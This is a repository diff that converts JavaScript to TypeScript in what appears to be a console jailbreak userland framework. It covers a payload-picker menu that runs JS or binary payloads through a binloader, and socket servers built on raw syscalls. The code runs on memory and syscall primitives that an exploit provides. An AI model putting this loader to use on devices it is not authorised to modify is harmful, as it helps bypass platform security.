|
||||||
|
buttonText.scaleY = 1.0
|
||||||
|
buttonText.x = textOrigPos_.x
|
||||||
|
buttonText.y = textOrigPos_.y
|
||||||
|
if (buttonMarker) buttonMarker.visible = false
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
prevButton = currentButton
|
||||||
|
}
|
||||||
|
|
||||||
|
jsmaf.onKeyDown = function (keyCode) {
|
||||||
|
log('Key pressed: ' + keyCode)
|
||||||
|
|
||||||
|
const fileButtonCount = fileList.length
|
||||||
|
const exitButtonIndex = buttons.length - 1
|
||||||
|
|
||||||
|
if (keyCode === 6) {
|
||||||
|
if (currentButton === exitButtonIndex) {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
const nextButton = currentButton + buttonsPerRow
|
||||||
|
if (nextButton >= fileButtonCount) {
|
||||||
|
currentButton = exitButtonIndex
|
||||||
|
} else {
|
||||||
|
currentButton = nextButton
|
||||||
|
}
|
||||||
|
updateHighlight()
|
||||||
|
} else if (keyCode === 4) {
|
||||||
|
if (currentButton === exitButtonIndex) {
|
||||||
|
const lastRow = Math.floor((fileButtonCount - 1) / buttonsPerRow)
|
||||||
|
const firstInLastRow = lastRow * buttonsPerRow
|
||||||
|
let col = 0
|
||||||
|
if (fileButtonCount > 0) {
|
||||||
|
col = Math.min(buttonsPerRow - 1, (fileButtonCount - 1) % buttonsPerRow)
|
||||||
|
}
|
||||||
|
currentButton = Math.min(firstInLastRow + col, fileButtonCount - 1)
|
||||||
|
} else {
|
||||||
|
const nextButton = currentButton - buttonsPerRow
|
||||||
|
if (nextButton >= 0) {
|
||||||
|
currentButton = nextButton
|
||||||
|
}
|
||||||
|
}
|
||||||
|
updateHighlight()
|
||||||
|
} else if (keyCode === 5) {
|
||||||
|
if (currentButton === exitButtonIndex) {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
const row = Math.floor(currentButton / buttonsPerRow)
|
||||||
|
const col = currentButton % buttonsPerRow
|
||||||
|
if (col < buttonsPerRow - 1) {
|
||||||
|
const nextButton = currentButton + 1
|
||||||
|
if (nextButton < fileButtonCount) {
|
||||||
|
currentButton = nextButton
|
||||||
|
}
|
||||||
|
}
|
||||||
|
updateHighlight()
|
||||||
|
} else if (keyCode === 7) {
|
||||||
|
if (currentButton === exitButtonIndex) {
|
||||||
|
currentButton = fileButtonCount - 1
|
||||||
|
} else {
|
||||||
|
const col = currentButton % buttonsPerRow
|
||||||
|
if (col > 0) {
|
||||||
|
currentButton = currentButton - 1
|
||||||
|
}
|
||||||
|
}
|
||||||
|
updateHighlight()
|
||||||
|
} else if (keyCode === 14) {
|
||||||
|
handleButtonPress()
|
||||||
|
} else if (keyCode === 13) {
|
||||||
|
log('Going back to main menu...')
|
||||||
|
try {
|
||||||
|
include('main-menu.js')
|
||||||
|
} catch (e) {
|
||||||
|
const err = e as Error
|
||||||
|
log('ERROR loading main-menu.js: ' + err.message)
|
||||||
|
if (err.stack) log(err.stack)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
function handleButtonPress () {
|
||||||
|
if (currentButton === buttons.length - 1) {
|
||||||
|
log('Going back to main menu...')
|
||||||
|
try {
|
||||||
|
include('main-menu.js')
|
||||||
|
} catch (e) {
|
||||||
|
const err = e as Error
|
||||||
|
log('ERROR loading main-menu.js: ' + err.message)
|
||||||
|
if (err.stack) log(err.stack)
|
||||||
|
}
|
||||||
|
} else if (currentButton < fileList.length) {
|
||||||
|
const selectedFile = fileList[currentButton]
|
||||||
|
if (!selectedFile) {
|
||||||
|
log('No file selected!')
|
||||||
|
return
|
||||||
|
}
|
||||||
|
const filePath = '/download0/payloads/' + selectedFile
|
||||||
|
|
||||||
|
log('Selected: ' + selectedFile)
|
||||||
|
|
||||||
|
try {
|
||||||
|
if (selectedFile.toLowerCase().endsWith('.js')) {
|
||||||
|
log('Including JavaScript file: ' + selectedFile)
|
||||||
|
include('payloads/' + selectedFile)
|
||||||
|
} else {
|
||||||
|
log('Loading binloader.js...')
|
||||||
|
include('binloader.js')
|
||||||
|
log('binloader.js loaded successfully')
|
||||||
|
|
||||||
|
log('Initializing binloader...')
|
||||||
|
const { bl_load_from_file } = binloader_init()
|
||||||
|
|
||||||
|
log('Loading payload from: ' + filePath)
|
||||||
|
|
||||||
|
bl_load_from_file(filePath)
|
||||||
|
}
|
||||||
|
} catch (e) {
|
||||||
|
const err = e as Error
|
||||||
|
log('ERROR: ' + err.message)
|
||||||
|
if (err.stack) log(err.stack)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
updateHighlight()
|
||||||
|
|
||||||
|
log('Interactive UI loaded!')
|
||||||
|
log('Total elements: ' + jsmaf.root.children.length)
|
||||||
|
log('Buttons: ' + buttons.length)
|
||||||
|
log('Use arrow keys to navigate, Enter/X to select')
|
||||||
|
})()
|
||||||
@@ -1,3 +1,6 @@
|
|||||||
|
import { libc_addr } from 'download0/userland'
|
||||||
|
import { fn, BigInt, mem } from 'download0/types'
|
||||||
|
|
||||||
(function () {
|
(function () {
|
||||||
log('=== Local Video Server ===')
|
log('=== Local Video Server ===')
|
||||||
|
|
||||||
@@ -6,57 +9,57 @@
|
|||||||
}
|
}
|
||||||
|
|
||||||
// Register socket syscalls
|
// Register socket syscalls
|
||||||
try { fn.register(97, 'socket', 'bigint') } catch (e) {}
|
fn.register(97, 'socket', ['bigint', 'bigint', 'bigint'], 'bigint')
|
||||||
try { fn.register(98, 'connect', 'bigint') } catch (e) {}
|
fn.register(98, 'connect', ['bigint', 'bigint', 'bigint'], 'bigint')
|
||||||
try { fn.register(104, 'bind', 'bigint') } catch (e) {}
|
fn.register(104, 'bind', ['bigint', 'bigint', 'bigint'], 'bigint')
|
||||||
try { fn.register(105, 'setsockopt', 'bigint') } catch (e) {}
|
fn.register(105, 'setsockopt', ['bigint', 'bigint', 'bigint', 'bigint', 'bigint'], 'bigint')
|
||||||
try { fn.register(106, 'listen', 'bigint') } catch (e) {}
|
fn.register(106, 'listen', ['bigint', 'bigint'], 'bigint')
|
||||||
try { fn.register(30, 'accept', 'bigint') } catch (e) {}
|
fn.register(30, 'accept', ['bigint', 'bigint', 'bigint'], 'bigint')
|
||||||
try { fn.register(32, 'getsockname', 'bigint') } catch (e) {}
|
fn.register(32, 'getsockname', ['bigint', 'bigint', 'bigint'], 'bigint')
|
||||||
try { fn.register(3, 'read_sys', 'bigint') } catch (e) {}
|
fn.register(3, 'read_sys', ['bigint', 'bigint', 'bigint'], 'bigint')
|
||||||
try { fn.register(4, 'write_sys', 'bigint') } catch (e) {}
|
fn.register(4, 'write_sys', ['bigint', 'bigint', 'bigint'], 'bigint')
|
||||||
try { fn.register(6, 'close_sys', 'bigint') } catch (e) {}
|
fn.register(6, 'close_sys', ['bigint'], 'bigint')
|
||||||
try { fn.register(5, 'open_sys', 'bigint') } catch (e) {}
|
fn.register(5, 'open_sys', ['bigint', 'bigint', 'bigint'], 'bigint')
|
||||||
try { fn.register(93, 'select', 'bigint') } catch (e) {}
|
fn.register(93, 'select', ['bigint', 'bigint', 'bigint', 'bigint', 'bigint'], 'bigint')
|
||||||
try { fn.register(134, 'shutdown', 'bigint') } catch (e) {}
|
fn.register(134, 'shutdown', ['bigint', 'bigint'], 'bigint')
|
||||||
|
|
||||||
var socket_sys = fn.socket
|
const socket_sys = fn.socket
|
||||||
var bind_sys = fn.bind
|
const bind_sys = fn.bind
|
||||||
var setsockopt_sys = fn.setsockopt
|
const setsockopt_sys = fn.setsockopt
|
||||||
var listen_sys = fn.listen
|
const listen_sys = fn.listen
|
||||||
var accept_sys = fn.accept
|
const accept_sys = fn.accept
|
||||||
var getsockname_sys = fn.getsockname
|
const getsockname_sys = fn.getsockname
|
||||||
var read_sys = fn.read_sys
|
const read_sys = fn.read_sys
|
||||||
var write_sys = fn.write_sys
|
const write_sys = fn.write_sys
|
||||||
var close_sys = fn.close_sys
|
const close_sys = fn.close_sys
|
||||||
var open_sys = fn.open_sys
|
const open_sys = fn.open_sys
|
||||||
var select_sys = fn.select
|
const select_sys = fn.select
|
||||||
var shutdown_sys = fn.shutdown
|
const shutdown_sys = fn.shutdown
|
||||||
|
|
||||||
var AF_INET = 2
|
const AF_INET = 2
|
||||||
var SOCK_STREAM = 1
|
const SOCK_STREAM = 1
|
||||||
var SOL_SOCKET = 0xFFFF
|
const SOL_SOCKET = 0xFFFF
|
||||||
var SO_REUSEADDR = 0x4
|
const SO_REUSEADDR = 0x4
|
||||||
var O_RDONLY = 0
|
const O_RDONLY = 0
|
||||||
|
|
||||||
// ===== VIDEO CONFIGURATION =====
|
// ===== VIDEO CONFIGURATION =====
|
||||||
var VIDEO_DIR = '/download0/vid'
|
const VIDEO_DIR = '/download0/vid'
|
||||||
var PLAYLIST_FILE = 'cat-meow.m3u8'
|
const PLAYLIST_FILE = 'cat-meow.m3u8'
|
||||||
var SEGMENT_FILES = ['cat-meow0.ts']
|
const SEGMENT_FILES = ['cat-meow0.ts']
|
||||||
// ================================
|
// ================================
|
||||||
|
|
||||||
// Create server socket
|
// Create server socket
|
||||||
log('Creating HTTP server for video files...')
|
log('Creating HTTP server for video files...')
|
||||||
var srv = socket_sys(new BigInt(0, AF_INET), new BigInt(0, SOCK_STREAM), new BigInt(0, 0))
|
const srv = socket_sys(new BigInt(0, AF_INET), new BigInt(0, SOCK_STREAM), new BigInt(0, 0))
|
||||||
if (srv.lo < 0) throw new Error('Cannot create socket')
|
if (srv.lo < 0) throw new Error('Cannot create socket')
|
||||||
|
|
||||||
// Set SO_REUSEADDR
|
// Set SO_REUSEADDR
|
||||||
var optval = mem.malloc(4)
|
const optval = mem.malloc(4)
|
||||||
mem.view(optval).setUint32(0, 1, true)
|
mem.view(optval).setUint32(0, 1, true)
|
||||||
setsockopt_sys(srv, new BigInt(0, SOL_SOCKET), new BigInt(0, SO_REUSEADDR), optval, new BigInt(0, 4))
|
setsockopt_sys(srv, new BigInt(0, SOL_SOCKET), new BigInt(0, SO_REUSEADDR), optval, new BigInt(0, 4))
|
||||||
|
|
||||||
// Bind to port 0 (let OS pick)
|
// Bind to port 0 (let OS pick)
|
||||||
var addr = mem.malloc(16)
|
const addr = mem.malloc(16)
|
||||||
mem.view(addr).setUint8(0, 16)
|
mem.view(addr).setUint8(0, 16)
|
||||||
mem.view(addr).setUint8(1, AF_INET)
|
mem.view(addr).setUint8(1, AF_INET)
|
||||||
mem.view(addr).setUint16(2, 0, false) // port 0 = let OS choose
|
mem.view(addr).setUint16(2, 0, false) // port 0 = let OS choose
|
||||||
@@ -68,11 +71,11 @@
|
|||||||
}
|
}
|
||||||
|
|
||||||
// Get actual port
|
// Get actual port
|
||||||
var actual_addr = mem.malloc(16)
|
const actual_addr = mem.malloc(16)
|
||||||
var actual_len = mem.malloc(4)
|
const actual_len = mem.malloc(4)
|
||||||
mem.view(actual_len).setUint32(0, 16, true)
|
mem.view(actual_len).setUint32(0, 16, true)
|
||||||
getsockname_sys(srv, actual_addr, actual_len)
|
getsockname_sys(srv, actual_addr, actual_len)
|
||||||
var port = mem.view(actual_addr).getUint16(2, false)
|
const port = mem.view(actual_addr).getUint16(2, false)
|
||||||
|
|
||||||
// Listen
|
// Listen
|
||||||
if (listen_sys(srv, new BigInt(0, 5)).lo < 0) {
|
if (listen_sys(srv, new BigInt(0, 5)).lo < 0) {
|
||||||
@@ -83,14 +86,14 @@
|
|||||||
log('HTTP server listening on port ' + port)
|
log('HTTP server listening on port ' + port)
|
||||||
|
|
||||||
// Store video URL separately (video.url property gets cleared by Video object)
|
// Store video URL separately (video.url property gets cleared by Video object)
|
||||||
var videoUrl = 'http://127.0.0.1:' + port + '/' + PLAYLIST_FILE
|
const videoUrl = 'http://127.0.0.1:' + port + '/' + PLAYLIST_FILE
|
||||||
log('Video URL: ' + videoUrl)
|
log('Video URL: ' + videoUrl)
|
||||||
|
|
||||||
// Setup UI
|
// Setup UI
|
||||||
jsmaf.root.children.length = 0
|
jsmaf.root.children.length = 0
|
||||||
|
|
||||||
// Dual video approach for seamless looping
|
// Dual video approach for seamless looping
|
||||||
var video1 = new Video({
|
const video1 = new Video({
|
||||||
x: 0,
|
x: 0,
|
||||||
y: 0,
|
y: 0,
|
||||||
width: 1920,
|
width: 1920,
|
||||||
@@ -100,7 +103,7 @@
|
|||||||
})
|
})
|
||||||
jsmaf.root.children.push(video1)
|
jsmaf.root.children.push(video1)
|
||||||
|
|
||||||
var video2 = new Video({
|
const video2 = new Video({
|
||||||
x: 0,
|
x: 0,
|
||||||
y: 0,
|
y: 0,
|
||||||
width: 1920,
|
width: 1920,
|
||||||
@@ -110,12 +113,12 @@
|
|||||||
})
|
})
|
||||||
jsmaf.root.children.push(video2)
|
jsmaf.root.children.push(video2)
|
||||||
|
|
||||||
var requestCount = 0
|
let requestCount = 0
|
||||||
var currentVideo = video1
|
let currentVideo = video1
|
||||||
var nextVideo = video2
|
let nextVideo = video2
|
||||||
var preloadStarted = false
|
let preloadStarted = false
|
||||||
|
|
||||||
function setupVideoCallbacks (video, isNext) {
|
function setupVideoCallbacks (video: Video, isNext: boolean) {
|
||||||
video.onOpen = function () {
|
video.onOpen = function () {
|
||||||
log('Video ' + (isNext ? 'next' : 'current') + ' opened! Duration: ' + video.duration)
|
log('Video ' + (isNext ? 'next' : 'current') + ' opened! Duration: ' + video.duration)
|
||||||
}
|
}
|
||||||
@@ -135,7 +138,7 @@
|
|||||||
nextVideo.play()
|
nextVideo.play()
|
||||||
|
|
||||||
// Swap references
|
// Swap references
|
||||||
var temp = currentVideo
|
const temp = currentVideo
|
||||||
currentVideo = nextVideo
|
currentVideo = nextVideo
|
||||||
nextVideo = temp
|
nextVideo = temp
|
||||||
|
|
||||||
@@ -149,46 +152,46 @@
|
|||||||
setupVideoCallbacks(video2, true)
|
setupVideoCallbacks(video2, true)
|
||||||
|
|
||||||
// Send HTTP response
|
// Send HTTP response
|
||||||
function send_response (fd, content_type, body) {
|
function send_response (fd: number, content_type: string, body: string) {
|
||||||
var headers = 'HTTP/1.1 200 OK\r\n' +
|
const headers = 'HTTP/1.1 200 OK\r\n' +
|
||||||
'Content-Type: ' + content_type + '\r\n' +
|
'Content-Type: ' + content_type + '\r\n' +
|
||||||
'Content-Length: ' + body.length + '\r\n' +
|
'Content-Length: ' + body.length + '\r\n' +
|
||||||
'Access-Control-Allow-Origin: *\r\n' +
|
'Access-Control-Allow-Origin: *\r\n' +
|
||||||
'Connection: close\r\n' +
|
'Connection: close\r\n' +
|
||||||
'\r\n'
|
'\r\n'
|
||||||
|
|
||||||
var resp = headers + body
|
const resp = headers + body
|
||||||
var buf = mem.malloc(resp.length)
|
const buf = mem.malloc(resp.length)
|
||||||
for (var i = 0; i < resp.length; i++) {
|
for (let i = 0; i < resp.length; i++) {
|
||||||
mem.view(buf).setUint8(i, resp.charCodeAt(i))
|
mem.view(buf).setUint8(i, resp.charCodeAt(i))
|
||||||
}
|
}
|
||||||
write_sys(fd, buf, new BigInt(0, resp.length))
|
write_sys(new BigInt(fd), buf, new BigInt(0, resp.length))
|
||||||
}
|
}
|
||||||
|
|
||||||
// Send binary file
|
// Send binary file
|
||||||
function send_file (fd, filepath, content_type) {
|
function send_file (fd: number, filepath: string, content_type: string) {
|
||||||
// Open file
|
// Open file
|
||||||
var path_buf = mem.malloc(filepath.length + 1)
|
const path_buf = mem.malloc(filepath.length + 1)
|
||||||
for (var i = 0; i < filepath.length; i++) {
|
for (let i = 0; i < filepath.length; i++) {
|
||||||
mem.view(path_buf).setUint8(i, filepath.charCodeAt(i))
|
mem.view(path_buf).setUint8(i, filepath.charCodeAt(i))
|
||||||
}
|
}
|
||||||
mem.view(path_buf).setUint8(filepath.length, 0)
|
mem.view(path_buf).setUint8(filepath.length, 0)
|
||||||
|
|
||||||
var file_fd = open_sys(path_buf, new BigInt(0, O_RDONLY), new BigInt(0, 0))
|
const file_fd = open_sys(path_buf, new BigInt(0, O_RDONLY), new BigInt(0, 0))
|
||||||
if (file_fd.eq(new BigInt(0xffffffff, 0xffffffff))) {
|
if (file_fd.eq(new BigInt(0xffffffff, 0xffffffff))) {
|
||||||
log('Cannot open file: ' + filepath)
|
log('Cannot open file: ' + filepath)
|
||||||
var error = 'HTTP/1.1 404 Not Found\r\nContent-Length: 9\r\n\r\nNot Found'
|
const error = 'HTTP/1.1 404 Not Found\r\nContent-Length: 9\r\n\r\nNot Found'
|
||||||
var error_buf = mem.malloc(error.length)
|
const error_buf = mem.malloc(error.length)
|
||||||
for (var i = 0; i < error.length; i++) {
|
for (let i = 0; i < error.length; i++) {
|
||||||
mem.view(error_buf).setUint8(i, error.charCodeAt(i))
|
mem.view(error_buf).setUint8(i, error.charCodeAt(i))
|
||||||
}
|
}
|
||||||
write_sys(fd, error_buf, new BigInt(0, error.length))
|
write_sys(new BigInt(fd), error_buf, new BigInt(0, error.length))
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
|
|
||||||
// Read file content
|
// Read file content
|
||||||
var file_buf = mem.malloc(65536)
|
const file_buf = mem.malloc(65536)
|
||||||
var bytes_read = read_sys(file_fd, file_buf, new BigInt(0, 65536))
|
const bytes_read = read_sys(file_fd, file_buf, new BigInt(0, 65536))
|
||||||
close_sys(file_fd)
|
close_sys(file_fd)
|
||||||
|
|
||||||
if (bytes_read.lo <= 0) {
|
if (bytes_read.lo <= 0) {
|
||||||
@@ -197,8 +200,8 @@
|
|||||||
}
|
}
|
||||||
|
|
||||||
// Build response string from buffer
|
// Build response string from buffer
|
||||||
var body = ''
|
let body = ''
|
||||||
for (var i = 0; i < bytes_read.lo; i++) {
|
for (let i = 0; i < bytes_read.lo; i++) {
|
||||||
body += String.fromCharCode(mem.view(file_buf).getUint8(i))
|
body += String.fromCharCode(mem.view(file_buf).getUint8(i))
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -207,27 +210,27 @@
|
|||||||
}
|
}
|
||||||
|
|
||||||
// Parse request path
|
// Parse request path
|
||||||
function get_path (buf, len) {
|
function get_path (buf: BigInt, len: number): string {
|
||||||
var req = ''
|
let req = ''
|
||||||
for (var i = 0; i < len && i < 1024; i++) {
|
for (let i = 0; i < len && i < 1024; i++) {
|
||||||
var c = mem.view(buf).getUint8(i)
|
const c = mem.view(buf).getUint8(i)
|
||||||
if (c === 0) break
|
if (c === 0) break
|
||||||
req += String.fromCharCode(c)
|
req += String.fromCharCode(c)
|
||||||
}
|
}
|
||||||
|
|
||||||
var lines = req.split('\n')
|
const lines = req.split('\n')
|
||||||
if (lines.length > 0) {
|
if (lines.length > 0) {
|
||||||
var parts = lines[0].trim().split(' ')
|
const parts = lines[0]!.trim().split(' ')
|
||||||
if (parts.length >= 2) return parts[1]
|
if (parts.length >= 2) return parts[1]!
|
||||||
}
|
}
|
||||||
return '/'
|
return '/'
|
||||||
}
|
}
|
||||||
|
|
||||||
var serverRunning = true
|
let serverRunning = true
|
||||||
|
|
||||||
// Prepare select() structures (reuse across calls)
|
// Prepare select() structures (reuse across calls)
|
||||||
var readfds = mem.malloc(128) // fd_set (128 bytes for up to 1024 fds)
|
const readfds = mem.malloc(128) // fd_set (128 bytes for up to 1024 fds)
|
||||||
var timeout = mem.malloc(16) // struct timeval
|
const timeout = mem.malloc(16) // struct timeval
|
||||||
// Set timeout to 0 (poll mode)
|
// Set timeout to 0 (poll mode)
|
||||||
mem.view(timeout).setUint32(0, 0, true) // tv_sec = 0
|
mem.view(timeout).setUint32(0, 0, true) // tv_sec = 0
|
||||||
mem.view(timeout).setUint32(4, 0, true)
|
mem.view(timeout).setUint32(4, 0, true)
|
||||||
@@ -239,20 +242,20 @@
|
|||||||
if (!serverRunning) return
|
if (!serverRunning) return
|
||||||
|
|
||||||
// Clear fd_set and set our server fd
|
// Clear fd_set and set our server fd
|
||||||
for (var i = 0; i < 128; i++) {
|
for (let i = 0; i < 128; i++) {
|
||||||
mem.view(readfds).setUint8(i, 0)
|
mem.view(readfds).setUint8(i, 0)
|
||||||
}
|
}
|
||||||
|
|
||||||
// Set the bit for our server socket fd
|
// Set the bit for our server socket fd
|
||||||
var fd = srv.lo
|
const fd = srv.lo
|
||||||
var byte_index = Math.floor(fd / 8)
|
const byte_index = Math.floor(fd / 8)
|
||||||
var bit_index = fd % 8
|
const bit_index = fd % 8
|
||||||
var current = mem.view(readfds).getUint8(byte_index)
|
const current = mem.view(readfds).getUint8(byte_index)
|
||||||
mem.view(readfds).setUint8(byte_index, current | (1 << bit_index))
|
mem.view(readfds).setUint8(byte_index, current | (1 << bit_index))
|
||||||
|
|
||||||
// Poll with select() - returns immediately
|
// Poll with select() - returns immediately
|
||||||
var nfds = fd + 1
|
const nfds = fd + 1
|
||||||
var select_ret = select_sys(new BigInt(0, nfds), readfds, new BigInt(0, 0), new BigInt(0, 0), timeout)
|
const select_ret = select_sys(new BigInt(0, nfds), readfds, new BigInt(0, 0), new BigInt(0, 0), timeout)
|
||||||
|
|
||||||
// If select returns 0, no connections ready
|
// If select returns 0, no connections ready
|
||||||
if (select_ret.lo <= 0) {
|
if (select_ret.lo <= 0) {
|
||||||
@@ -260,21 +263,21 @@
|
|||||||
}
|
}
|
||||||
|
|
||||||
// Connection is ready, now accept() won't block
|
// Connection is ready, now accept() won't block
|
||||||
var client_addr = mem.malloc(16)
|
const client_addr = mem.malloc(16)
|
||||||
var client_len = mem.malloc(4)
|
const client_len = mem.malloc(4)
|
||||||
mem.view(client_len).setUint32(0, 16, true)
|
mem.view(client_len).setUint32(0, 16, true)
|
||||||
|
|
||||||
var client_ret = accept_sys(srv, client_addr, client_len)
|
const client_ret = accept_sys(srv, client_addr, client_len)
|
||||||
var client = client_ret instanceof BigInt ? client_ret.lo : client_ret
|
const client = client_ret instanceof BigInt ? client_ret.lo : client_ret
|
||||||
|
|
||||||
if (client >= 0) {
|
if (client >= 0) {
|
||||||
requestCount++
|
requestCount++
|
||||||
var req_buf = mem.malloc(4096)
|
const req_buf = mem.malloc(4096)
|
||||||
var read_ret = read_sys(client, req_buf, new BigInt(0, 4096))
|
const read_ret = read_sys(new BigInt(client), req_buf, new BigInt(0, 4096))
|
||||||
var bytes = read_ret instanceof BigInt ? read_ret.lo : read_ret
|
const bytes = read_ret instanceof BigInt ? read_ret.lo : read_ret
|
||||||
|
|
||||||
if (bytes > 0) {
|
if (bytes > 0) {
|
||||||
var path = get_path(req_buf, bytes)
|
const path = get_path(req_buf, bytes)
|
||||||
log('Request #' + requestCount + ': ' + path)
|
log('Request #' + requestCount + ': ' + path)
|
||||||
|
|
||||||
// Check if requesting playlist
|
// Check if requesting playlist
|
||||||
@@ -282,8 +285,8 @@
|
|||||||
send_file(client, VIDEO_DIR + '/' + PLAYLIST_FILE, 'application/vnd.apple.mpegurl')
|
send_file(client, VIDEO_DIR + '/' + PLAYLIST_FILE, 'application/vnd.apple.mpegurl')
|
||||||
} else {
|
} else {
|
||||||
// Check if requesting any segment file
|
// Check if requesting any segment file
|
||||||
var handled = false
|
let handled = false
|
||||||
for (var i = 0; i < SEGMENT_FILES.length; i++) {
|
for (let i = 0; i < SEGMENT_FILES.length; i++) {
|
||||||
if (path === '/' + SEGMENT_FILES[i] || path.indexOf('/' + SEGMENT_FILES[i]) >= 0) {
|
if (path === '/' + SEGMENT_FILES[i] || path.indexOf('/' + SEGMENT_FILES[i]) >= 0) {
|
||||||
send_file(client, VIDEO_DIR + '/' + SEGMENT_FILES[i], 'video/MP2T')
|
send_file(client, VIDEO_DIR + '/' + SEGMENT_FILES[i], 'video/MP2T')
|
||||||
handled = true
|
handled = true
|
||||||
@@ -295,8 +298,7 @@
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
close_sys(new BigInt(client))
|
||||||
close_sys(client)
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -306,7 +308,7 @@
|
|||||||
|
|
||||||
if (currentVideo.duration > 0 && currentVideo.elapsed > 0) {
|
if (currentVideo.duration > 0 && currentVideo.elapsed > 0) {
|
||||||
// Start preloading when 70% through current video
|
// Start preloading when 70% through current video
|
||||||
var threshold = currentVideo.duration * 0.7
|
const threshold = currentVideo.duration * 0.7
|
||||||
if (!preloadStarted && currentVideo.elapsed >= threshold) {
|
if (!preloadStarted && currentVideo.elapsed >= threshold) {
|
||||||
log('Preloading next video at ' + currentVideo.elapsed + 'ms...')
|
log('Preloading next video at ' + currentVideo.elapsed + 'ms...')
|
||||||
preloadStarted = true
|
preloadStarted = true
|
||||||
@@ -315,7 +317,7 @@
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
var isShuttingDown = false
|
let isShuttingDown = false
|
||||||
|
|
||||||
jsmaf.onKeyDown = function (keyCode) {
|
jsmaf.onKeyDown = function (keyCode) {
|
||||||
if (keyCode === 13 && !isShuttingDown) { // Circle - exit
|
if (keyCode === 13 && !isShuttingDown) { // Circle - exit
|
||||||
@@ -325,11 +327,11 @@
|
|||||||
|
|
||||||
// Shutdown server socket (stops accepting new connections)
|
// Shutdown server socket (stops accepting new connections)
|
||||||
try {
|
try {
|
||||||
var SHUT_RDWR = 2
|
const SHUT_RDWR = 2
|
||||||
shutdown_sys(srv, new BigInt(0, SHUT_RDWR))
|
shutdown_sys(srv, new BigInt(0, SHUT_RDWR))
|
||||||
log('Server socket shutdown')
|
log('Server socket shutdown')
|
||||||
} catch (e) {
|
} catch (e) {
|
||||||
log('Error shutting down server: ' + e.message)
|
log('Error shutting down server: ' + (e as Error).message)
|
||||||
}
|
}
|
||||||
|
|
||||||
// Close server socket
|
// Close server socket
|
||||||
@@ -337,7 +339,7 @@
|
|||||||
close_sys(srv)
|
close_sys(srv)
|
||||||
log('Server socket closed')
|
log('Server socket closed')
|
||||||
} catch (e) {
|
} catch (e) {
|
||||||
log('Error closing server socket: ' + e.message)
|
log('Error closing server socket: ' + (e as Error).message)
|
||||||
}
|
}
|
||||||
|
|
||||||
// Close video players
|
// Close video players
|
||||||
@@ -345,14 +347,14 @@
|
|||||||
currentVideo.close()
|
currentVideo.close()
|
||||||
log('Current video closed')
|
log('Current video closed')
|
||||||
} catch (e) {
|
} catch (e) {
|
||||||
log('Error closing current video: ' + e.message)
|
log('Error closing current video: ' + (e as Error).message)
|
||||||
}
|
}
|
||||||
|
|
||||||
try {
|
try {
|
||||||
nextVideo.close()
|
nextVideo.close()
|
||||||
log('Next video closed')
|
log('Next video closed')
|
||||||
} catch (e) {
|
} catch (e) {
|
||||||
log('Error closing next video: ' + e.message)
|
log('Error closing next video: ' + (e as Error).message)
|
||||||
}
|
}
|
||||||
|
|
||||||
// Clear handlers
|
// Clear handlers
|
||||||
@@ -362,7 +364,7 @@
|
|||||||
log('Cleanup complete, returning to main menu in 500ms...')
|
log('Cleanup complete, returning to main menu in 500ms...')
|
||||||
|
|
||||||
// Small delay to let everything settle
|
// Small delay to let everything settle
|
||||||
var cleanup_start = Date.now()
|
const cleanup_start = Date.now()
|
||||||
while (Date.now() - cleanup_start < 500) {
|
while (Date.now() - cleanup_start < 500) {
|
||||||
// Wait
|
// Wait
|
||||||
}
|
}
|
||||||
File diff suppressed because it is too large
Load Diff
Executable → Regular
+117
-131
@@ -1,3 +1,6 @@
|
|||||||
|
import { libc_addr } from 'download0/userland'
|
||||||
|
import { fn, mem, BigInt } from 'download0/types'
|
||||||
|
|
||||||
// simple server
|
// simple server
|
||||||
|
|
||||||
if (libc_addr === null) {
|
if (libc_addr === null) {
|
||||||
@@ -7,68 +10,53 @@ if (libc_addr === null) {
|
|||||||
jsmaf.remotePlay = true
|
jsmaf.remotePlay = true
|
||||||
|
|
||||||
// register socket stuff
|
// register socket stuff
|
||||||
try { fn.register(97, 'socket', 'bigint') } catch (e) {}
|
fn.register(97, 'socket', ['bigint', 'bigint', 'bigint'], 'bigint')
|
||||||
try { fn.register(98, 'connect', 'bigint') } catch (e) {}
|
fn.register(98, 'connect', ['bigint', 'bigint', 'bigint'], 'bigint')
|
||||||
try { fn.register(104, 'bind', 'bigint') } catch (e) {}
|
fn.register(104, 'bind', ['bigint', 'bigint', 'bigint'], 'bigint')
|
||||||
try { fn.register(105, 'setsockopt', 'bigint') } catch (e) {}
|
fn.register(105, 'setsockopt', ['bigint', 'bigint', 'bigint', 'bigint', 'bigint'], 'bigint')
|
||||||
try { fn.register(106, 'listen', 'bigint') } catch (e) {}
|
fn.register(106, 'listen', ['bigint', 'bigint'], 'bigint')
|
||||||
try { fn.register(30, 'accept', 'bigint') } catch (e) {}
|
fn.register(30, 'accept', ['bigint', 'bigint', 'bigint'], 'bigint')
|
||||||
try { fn.register(32, 'getsockname', 'bigint') } catch (e) {}
|
fn.register(32, 'getsockname', ['bigint', 'bigint', 'bigint'], 'bigint')
|
||||||
try { fn.register(3, 'read', 'bigint') } catch (e) {}
|
fn.register(3, 'read', ['bigint', 'bigint', 'bigint'], 'bigint')
|
||||||
try { fn.register(4, 'write', 'bigint') } catch (e) {}
|
fn.register(4, 'write', ['bigint', 'bigint', 'bigint'], 'bigint')
|
||||||
try { fn.register(6, 'close', 'bigint') } catch (e) {}
|
fn.register(5, 'open', ['string', 'number', 'number'], 'bigint')
|
||||||
try { fn.register(0x110, 'getdents', 'bigint') } catch (e) {}
|
fn.register(6, 'close', ['bigint'], 'bigint')
|
||||||
try { fn.register(93, 'select', 'bigint') } catch (e) {}
|
fn.register(0x110, 'getdents', ['number', 'bigint', 'bigint'], 'bigint')
|
||||||
|
fn.register(93, 'select', ['bigint', 'bigint', 'bigint', 'bigint', 'bigint'], 'bigint')
|
||||||
|
|
||||||
var socket_sys = fn.socket
|
const socket_sys = fn.socket
|
||||||
var connect_sys = fn.connect
|
const connect_sys = fn.connect
|
||||||
